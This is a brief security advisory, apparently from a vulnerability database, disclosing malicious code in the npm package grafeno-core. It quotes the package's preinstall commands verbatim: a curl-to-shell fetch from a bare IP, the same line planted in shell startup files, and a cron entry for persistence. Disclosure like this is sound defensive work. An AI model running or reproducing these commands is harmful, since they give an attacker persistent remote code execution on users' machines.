Malicious code in grafeno-core (npm)
Details
The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends `curl -s 216.126.236.46/x.sh|sh` to ~/.bashrc and ~/.profile and installs a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting `version` and `init`, with no real functionality — the manifest's preinstall is the entire payload.
